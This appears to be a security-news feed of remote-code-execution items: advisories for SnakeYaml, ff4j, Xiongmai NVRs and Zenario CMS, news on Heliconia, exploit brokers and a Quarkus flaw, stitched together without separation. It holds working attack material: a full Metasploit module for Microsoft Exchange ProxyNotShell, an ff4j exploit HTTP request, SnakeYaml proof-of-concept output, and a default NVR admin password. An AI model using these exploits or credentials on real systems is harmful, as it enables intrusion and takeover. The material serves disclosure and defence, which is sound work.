SnakeYaml's Constructor() class does not restrict types which can be instantiated during deserialization. Deserializing yaml content provided by an attacker can lead to remote code execution. We recommend using SnakeYaml's SafeConsturctor when parsing untrusted content to restrict deserialization.

**Package**

Constructor (SnakeYaml)

**Summary**

SnakeYaml's Constructor class, which inherits from SafeConstructor, allows  
any type be deserialized given the following line:

new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);

Types do not have to match the types of properties in the  
target class. A ConstructorException is thrown, but only after a malicious  
payload is deserialized.

**Severity**

High, lack of deserialization allows remote code execution.

**Proof of Concept**

Execute bash run.sh. The PoC uses Constructor to deserialize a payload  
for RCE. RCE is demonstrated by using a payload which performs a http request to  
http://127.0.0.1:8000.

Example output of successful run of proof of concept:

    $ bash run.sh
    
    [+] Downloading snakeyaml if needed
    [+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE
    nc: no process found
    [+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server.
    [+] An exception is expected.
    Exception:
    Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0
     in 'string', line 1, column 1:
        payload: !!javax.script.ScriptEn ... 
        ^
    Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
     in 'string', line 1, column 10:
        payload: !!javax.script.ScriptEngineManag ... 
                 ^
    
    	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291)
    	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172)
    	at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332)
    	at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230)
    	at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220)
    	at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174)
    	at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158)
    	at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491)
    	at org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
    	at Main.main(Main.java:37)
    Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
    	at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
    	at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
    	at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
    	at java.base/java.lang.reflect.Field.set(Field.java:780)
    	at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44)
    	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286)
    	... 9 more
    [+] Dumping Received HTTP Request. Will not be empty if PoC worked
    GET /proof-of-concept HTTP/1.1
    User-Agent: Java/11.0.14
    Host: localhost:8000
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
    

**Further Analysis**

Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content.

**Timeline**

**Date reported**: 4/11/2022  
**Date fixed**:  
**Date disclosed**: 10/13/2022

CVE-2022-1471: SnakeYaml: Constructor Deserialization Remote Code Execution

ff4j 1.8.1 is vulnerable to Remote Code Execution (RCE).

**ff4j is vulnerable to Remote Code Execution (RCE)**

Critical severity GitHub Reviewed Published Dec 1, 2022 • Updated Dec 5, 2022

GHSA-65hj-9ppw-77xc: ff4j is vulnerable to Remote Code Execution (RCE)

Multiple Xiongmai NVR devices, including MBD6304T V4.02.R11.00000117.10001.131900.00000 and NBD6808T-PL V4.02.R11.C7431119.12001.130000.00000, allow authenticated users to execute arbitrary commands as root, as exploited in the wild starting in approximately 2019. A remote and authenticated attacker, possibly using the default admin:tlJwpbo6 credentials, can connect to port 34567 and execute arbitrary operating system commands via a crafted JSON file during an upgrade request. Since at least 2021, Xiongmai has applied patches to prevent attackers from using this mechanism to execute telnetd.

CVE-2022-45045: Xiongmai IoT Exploitation - Blog - VulnCheck

ff4j can be use to call any constructors in the project or jvm.  
it would raise an error after constructor call and give an error in response.

    File: https://github.com/ff4j/ff4j/blob/master/ff4j-core/src/main/java/org/ff4j/property/util/PropertyFactory.java
    Function: public static Property<?> createProperty(String pName, String pType, String pValue, String desc, Set < String > fixedValues)
    Line:163 and 164
    

    git clone https://github.com/ff4j/ff4j-samples.git
    cd spring-boot-2x/ff4j-sample-springboot2x
    mvn spring-boot:run
    

    PUT /api/ff4j/propertyStore/properties/test HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/json
    accept: application/json
    Content-Length: 111
    
    { "name": "test", "description": null, "type": "org.springframework.core.io.support.ResourcePropertySource", "value": "http://example/index.html"}

CVE-2022-44262: CVE-2022-44262 · Issue #624 · ff4j/ff4j

This Metasploit module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to obtain code execution (CVE-2022-41082). This exploit only supports Exchange Server 2019. These vulnerabilities were patched in November 2022.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::CmdStager  include Msf::Exploit::Remote::HTTP::Exchange  include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell  include Msf::Exploit::EXE  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Microsoft Exchange ProxyNotShell RCE',        'Description' => %q{          This module chains two vulnerabilities on Microsoft Exchange Server          that, when combined, allow an authenticated attacker to interact with          the Exchange Powershell backend (CVE-2022-41040), where a          deserialization flaw can be leveraged to obtain code execution          (CVE-2022-41082). This exploit only support Exchange Server 2019.          These vulnerabilities were patched in November 2022.        },        'Author' => [          'Orange Tsai', # Discovery of ProxyShell SSRF          'Spencer McIntyre', # Metasploit module          'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis          'Piotr Bazydło', # Vulnerability analysis          'Rich Warren', # EEMS bypass via ProxyNotRelay          'Soroush Dalili' # EEMS bypass        ],        'References' => [          [ 'CVE', '2022-41040' ], # ssrf          [ 'CVE', '2022-41082' ], # rce          [ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],          [ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],          [ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],          [ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]        ],        'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08        'License' => MSF_LICENSE,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Platform' => ['windows'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => true,        'Targets' => [          [            'Windows Dropper',            {              'Platform' => 'windows',              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :windows_dropper            }          ],          [            'Windows Command',            {              'Platform' => 'windows',              'Arch' => [ARCH_CMD],              'Type' => :windows_command            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'AKA' => ['ProxyNotShell'],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options([      OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),      OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),      OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])    ])    register_advanced_options([      OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])    ])  end  def check    @ssrf_email ||= Faker::Internet.email    res = send_http('GET', '/mapi/nspi/')    return CheckCode::Unknown if res.nil?    return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401    return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'    # actually run the powershell cmdlet and see if it works, this will fail if:    #   * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)    #   * the exchange emergency mitigation service M1 rule is in place    return CheckCode::Safe unless execute_powershell('Get-Mailbox')    CheckCode::Vulnerable  rescue Msf::Exploit::Failed => e    CheckCode::Safe(e.to_s)  end  def ibm037(string)    string.encode('IBM037').force_encoding('ASCII-8BIT')  end  def send_http(method, uri, opts = {})    opts[:authentication] = {      'username' => datastore['USERNAME'],      'password' => datastore['PASSWORD'],      'preferred_auth' => 'NTLM'    }    if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'      uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}"      opts[:headers] = {        'X-Up-Devcap-Post-Charset' => 'IBM037',        # technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362        'User-Agent' => "UP #{datastore['UserAgent']}"      }    else      uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}"    end    super(method, uri, opts)  end  def exploit    # if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not    # work on Exchange Server 2016    if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)      vprint_status("Detected Exchange version: #{version}")      if version < Rex::Version.new('15.2')        fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')      end    end    @ssrf_email ||= Faker::Internet.email    case target['Type']    when :windows_command      vprint_status("Generated payload: #{payload.encoded}")      execute_command(payload.encoded)    when :windows_dropper      execute_cmdstager({ linemax: 7_500 })    end  end  def execute_command(cmd, _opts = {})    xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root      <ResourceDictionary        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"        xmlns:System="clr-namespace:System;assembly=mscorlib"        xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">        <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">          <ObjectDataProvider.MethodParameters>            <System:String>cmd.exe</System:String>            <System:String>/c #{cmd.encode(xml: :text)}</System:String>          </ObjectDataProvider.MethodParameters>        </ObjectDataProvider>      </ResourceDictionary>    XAML    identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root      <Obj N="V" RefId="14">        <TN RefId="1">        <T>System.ServiceProcess.ServiceController</T>          <T>System.Object</T>        </TN>        <ToString>Object</ToString>        <Props>          <S N="Name">Type</S>          <Obj N="TargetTypeForDeserialization">            <TN RefId="1">              <T>System.Exception</T>              <T>System.Object</T>            </TN>            <MS>              <BA N="SerializationData">                #{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}              </BA>            </MS>          </Obj>        </Props>        <S>          <![CDATA[#{xaml}]]>        </S>      </Obj>    IDENTITY    execute_powershell('Get-Mailbox', args: [      { name: '-Identity', value: identity }    ])  endendclass XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream  include Msf::Util::DotNetDeserialization  def self.generate    from_values([      Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),      Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(        class_info: Types::General::ClassInfo.new(          obj_id: 1,          name: 'System.UnitySerializationHolder',          member_names: %w[Data UnityType AssemblyName]        ),        member_type_info: Types::General::MemberTypeInfo.new(          binary_type_enums: %i[String Primitive String],          additional_infos: [ 8 ]        ),        member_values: [          Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(            obj_id: 2,            string: 'System.Windows.Markup.XamlReader'          )),          4,          Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(            obj_id: 3,            string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'          ))        ]      ),      Types::RecordValues::MessageEnd.new    ])  endend

Microsoft Exchange ProxyNotShell Remote Code Execution

The framework has ties back to a Spanish exploit broker called Variston IT, and offers a one-stop shop for compromising Chrome, Defender and Firefox.

Google's Threat Analysis Group (TAG) has discovered a cyberattack framework dubbed Heliconia, built to exploit zero-day and n-day vulnerabilities in Chrome, Firefox, and Microsoft Defender. It likely has connections to a gray-market spyware broker called Variston IT, which highlights how this shadowy segment is flourishing.

The Heliconia threat consists of three modules:

*   Heliconia Noise for compromising the Chrome browser, escaping the sandbox, and installing malware;
*   Heliconia Soft, a Web framework that deploys a PDF containing a Windows Defender exploit for CVE-2021-42298 that allows privilege escalation to SYSTEM and remote code execution (RCE);
*   And the Heliconia Files package which contains a fully documented Firefox exploit chain for Windows and Linux, including CVE-2022-26485 for RCE.

TAG became aware of the threat after receiving an anonymous submission to the Chrome bug reporting program. Upon further investigation, the Heliconia framework's source code was found to contain a script that points back to Variston IT, a Barcelona-headquartered entity that claims to provide "custom security solutions."

Commercial spyware is often sold by organizations claiming to be legitimate companies, for "use by law enforcement." However, mounting evidence shows that too often, these brokers don't vet their clients, "putting advanced surveillance capabilities in the hands of governments who use them to spy on journalists, human rights activists, political opposition and dissidents," according to a TAG posting on Wednesday.

Researchers noted that Variston IT is firmly in the middle of this proliferating market — a space that has seen sanctioning by the United States and others against organizations like the infamous NSO Group, creator of the Pegasus spyware.

"The commercial surveillance industry is thriving and has expanded significantly in recent years, creating risk for Internet users around the globe," TAG researchers added. "While surveillance technology may be legal under national or international laws, they are often used in harmful ways to conduct digital espionage against a range of groups."

So far, none of the modules has been seen in current attacks in the wild, but TAG researchers noted that they've likely been deployed in the past, including using the exploits they contain as zero-days before they were fixed.

Google TAG Warns on Emerging Heliconia Exploit Framework for RCE

Signal messaging app zero-day vulnerabilities have sparked a $1.5M bidding match, as gray-market exploit brokers flourish in today's geopolitical climate.

Gray-market exploit brokers are alive and kicking, with the latest sign of this flourishing market coming in the form of a bidding war for Signal messaging app zero-days from a relatively new entrant. 

Russia-based OpZero went on the record recently with a $1.5 million offer for Signal remote code execution (RCE) exploits, more than tripling the relatively stable high-water mark for that app offered by American firm Zerodium.

Cybersecurity experts say that this particular bidding war indicates the Russian government's desperation to gain surveillance capabilities over Ukrainians utilizing Signal to communicate. But the price movement on this front also offers a microcosmic look into the broader reliance of gray-market customers (most typically governments) on intermediary brokers.

**The Shadowy "Gray Hat" World of Cybersecurity Exploit Brokers

These brokers are sometimes independent dealers, other times thinly cloaked fronts for nation-state intelligence agencies, who buy from security researchers interested in cashing in on their exploit work. 

The market works on an "ask me no questions, and I'll tell you no lies" basis, researchers say. Brokers have no scruples in working with both white- and black-hat security experts — and exploit developers don't ask how or by whom their exploits will be used. The arrangements put this market in a swampy middle ground between the vendor-oriented, highly structured vulnerability bug-bounty market and the chaotic and overtly criminal dealings of the Dark Web, dominated by black hats.

"Exploit brokers function as market makers by contracting with suppliers (security researchers) managing an inventory of exploits, and selling to buyers (actors who deploy offensive cyber-operations)," according to a recent paper on the gray-market exploit world presented at the 21st Workshop on the Economics of Information Security (WEIS’22) in Tulsa, Okla., earlier this year. 

"In doing so, brokers can more efficiently manage transaction costs relative to suppliers and buyers directly contracting with each other. Additionally brokers provide a layer of insulation against reputation and legal fallout," the paper explained, adding that the price of exploits has grown by 1,240% over the last six years in the gray market.

****War in Ukraine Sparks Signal Exploit Bidding War**

Perhaps one of the most public and prolific players in the market is Zerodium, an American firm with an obscured customer list of "government institutions mainly from Europe and North America," according to the company's FAQ. 

The firm offers as much as $2 million for iOS flaws and presents many public offers for exploits in a range of operating systems and applications. The company has had a standing offer since 2017 of "up to" $500,000 for exploits of Signal and other social messaging apps, including Facebook Messenger, WhatsApp, and Telegram.

The entrance of OpZero into this mix with an offer of three times that amount, which has experts such as security researcher The Grugq postulating that the company is a stand-in for Russian intelligence services that are "desperate" for Android and Signal exploits.

"Android has an almost 80% market share in Ukraine, and Signal has over 2 million daily active users," The Grugq recently wrote. "Android phones with Signal are robust security platforms. They’re not military equipment, but they’re perfectly capable of providing protection against a wide range of security threats. Including nation state level threat actors. Russia appears to be lacking an Android or Signal capability."

New Exploit Broker on the Scene Pays Premium for Signal App Zero-Days

Zenario CMS 9.3.57186 is vulnerable to RCE.

**Zenario CMS is vulnerable to Remote Code Execution (RCE).**

Critical severity GitHub Reviewed Published Nov 30, 2022 • Updated Dec 2, 2022

GHSA-4p38-rc98-cr39: Zenario CMS is vulnerable to Remote Code Execution (RCE).

Zenario CMS 9.3.57186 is vulnerable to Remote Code Excution (RCE).

Download: zenario-probusiness-9.3.57186.zip

I found a bug very critical in Zenar CMS version 9.3.

Below are steps to reproduce the bug

1.  Create file shell php

1.  Check shell

**If you have any questions, please feel free to ask.**

CVE-2022-44136: Unauthent RCE in Zenar.io~9.3

Red Hat has issued patches for a bug in an open source Java virtual machine software that opens the door to drive-by localhost attacks. Patch now, as it's easy for cyberattackers to exploit.

A critical remote code execution (RCE) bug in an open source Java virtual machine (JVM) framework threatens enterprise environments by giving attackers an easy way to compromise development teams — thus gaining access to production systems.

That's according to Joseph Beeton, senior application security researcher at Contrast Security, who discovered the vulnerability in Quarkus, a Red Hat-managed, Kubernetes-native Java framework that's optimized for JVMs.

The bug is tracked as CVE-2022-4116 and has been given a rating of 9.8 on the CVSS.

The relatively new Quarkus framework is used as a platform for serverless, cloud, and Kubernetes environments — the last of which is the de facto container management platform for cloud-native environments, and has had numerous security issues of its own.

The Quarkus flaw is present in the framework's Dev UI Config Editor, making it vulnerable to drive-by localhost attacks that could lead to RCE, Beeton wrote in a blog post published Nov. 29. Moreover, "exploiting the vulnerability isn’t difficult, and can be done by a malicious actor without any privileges," he noted in the post.

Beeton discovered the vulnerability some weeks ago while preparing a talk for the recently held DeepSec conference, but says that he waited to disclose his findings until after Red Hat published details of the flaw on its customer support portal Nov. 21. Beeton also published a proof of concept exploit for CVE-2022-4116 in his post.

Patched versions of Quarkus, available now, are 2.14.2.Final and 2.13.5.Final (LTS); anyone using the framework is encouraged to update immediately.

**'Dangerous' Security Flaw**

The vulnerability affects the "quarkus\_dev\_ui" package, according to Red Hat, which means it impacts developers building services using Quarkus, not actual services running in production.

However, it's still dangerous for several reasons — for one because it's fairly easy to exploit, and for another because developers often have direct access to an enterprise's production environment, Beeton tells Dark Reading.

"Developers generally have access to production systems, and even if they don't, they do have the ability to make code changes," he says. "A compromised developer's machine could be leveraged to push malicious code changes to production.”

For example, if a developer running Quarkus locally visits a website with malicious JavaScript, that JavaScript can silently execute code on the developer’s machine, which can lead to all kinds of trouble on any network or assets attached to it.

In enterprise cloud-based environments, developers also often have to code bases, Amazon Web Services keys, server credentials, and other assets, Beeton said in his posting.

"Access to the developer's machine gives an attacker a great deal of scope to pivot to other resources on the network, as well as to modify or to flat-out steal the codebase," he wrote.

**The Bug in a Cloud-Security Context**

The flaw must be understood in the context of cloud-based footprints that have numerous hosted services running in a larger environment, Beeton explained. One misconception about this type of architecture is that "services that are only bound to localhost are not accessible from the outside world," he noted in his post.

"Because of this misplaced belief, developers, for the sake of convenience, will run services they are developing that are configured in a less secure way compared with how they would \[typically\] do it," he wrote.

There's no problem with this scenario in the case of accessing normal JavaScript in a browser and loaded from a nonmalicious domain, he said. In that case, the JavaScript would not be able to make requests to other domains, including localhost, without a preflight request that is used to check the server's Cross-Origin Resource Sharing (CORS) settings. This is a standard check to see if the server allows requests from the domain being accessed.

However, in the case of a certain type of request that does not require a preflight request — called Simple Requests — the flaw comes into play, Beeton said.

"For a Simple Request, the browser makes the request, receives the response, but that data — including the HTTP Status Code — is not returned to JavaScript," he wrote. "It is possible, however, to infer whether the request was successful based on how long it took to return. Within those constraints, it is possible to access localhost and, in certain circumstances, to trigger arbitrary code execution."

**Multiple Ways Developers Can Be Targeted**

If this is the case, threat actors can compromise websites that developers use by injecting malicious JavaScript into ads served on the sites. For an attack on the Quarkus flaw to be successful in this scenario, someone who is running Quarkus in developer mode would have to visit a website containing the malicious JavaScript, Beeton said.

In this way, attackers can access developer code via non preflighted HTTP requests to those services bound to localhost, he explained.

"It just requires that Quarkus is running in developer mode at the same point the browser tab is open," he noted. "No other interaction is required for this vulnerability to be exploited."

Attackers also can exploit the flaw by launching a phishing attack that convinces a developer to open a web browser on a compromised page. "If they happen to be running Quarkus in developer mode, compromising them would merely entail getting them to click the link; the page containing malicious JavaScript will then be loaded, and they would be compromised," Beeton explained.

Other ways the flaw can be exploited are through common misconfigurations in the Spring framework, which provides a comprehensive programming and configuration model for modern Java-based enterprise applications, he said. Alternatively, an attacker can exploit known vulnerabilities to generate an RCE on the developer's machine or on other services on their private network.  

**Potential Impact and Fix**

There are two bits of good news surrounding the status of the flaw, Beeton acknowledged. One is that Red Hat's Quarkus team, as mentioned before, already has issued a fix that requires the Dev UI to check origin headers for "origin : localhost" — which is set by the browser itself and not modifiable by JavaScript — and only accept these requests, he said.

The other reassuring aspect is that Quarkus is a young framework, having been launched in 2019, so it's not likely to be used as extensively as, say, the open-source Spring Boot framework, he said.

And while Quarkus is gaining in popularity, particularly for Kubernetes enthusiasts, "given its ease of use and significantly lighter demand on hardware resources to run and to run applications," it still is not as widely used as Kubernetes itself, Beeton said.

"Therefore, the number of developers affected by this drive-by localhost attack is probably small," he said.

**Squashing the Attack Vector**

Even with the Quarkus flaw fixed, developers using open-source frameworks still should be wary as they develop services via the localhost, as there are likely more vulnerabilities equivalent to CVE-2022-4116 that have yet to be found, Beeton warned.

A solution for the entire attack vector is on the horizon with W3C’s new Private Network Access (PNA) specification, which eventually will be integrated into browsers to squash this mode of exploit altogether, he said.

Currently, however, only the team supporting the Chromium framework — the basis for the Chrome and Edge browsers — is actively working to implement the new spec, Beeton said. In fact, the targeted mid-December release of Chrome 109 should include support for PNA.

Firefox, meanwhile, has PNA support on its backlog, but has not yet scheduled a release date, while plans to add the spec to Safari or Edge remain unclear, though the Chromium update may bode well for its upcoming addition in Edge, he added.

Tag

#rce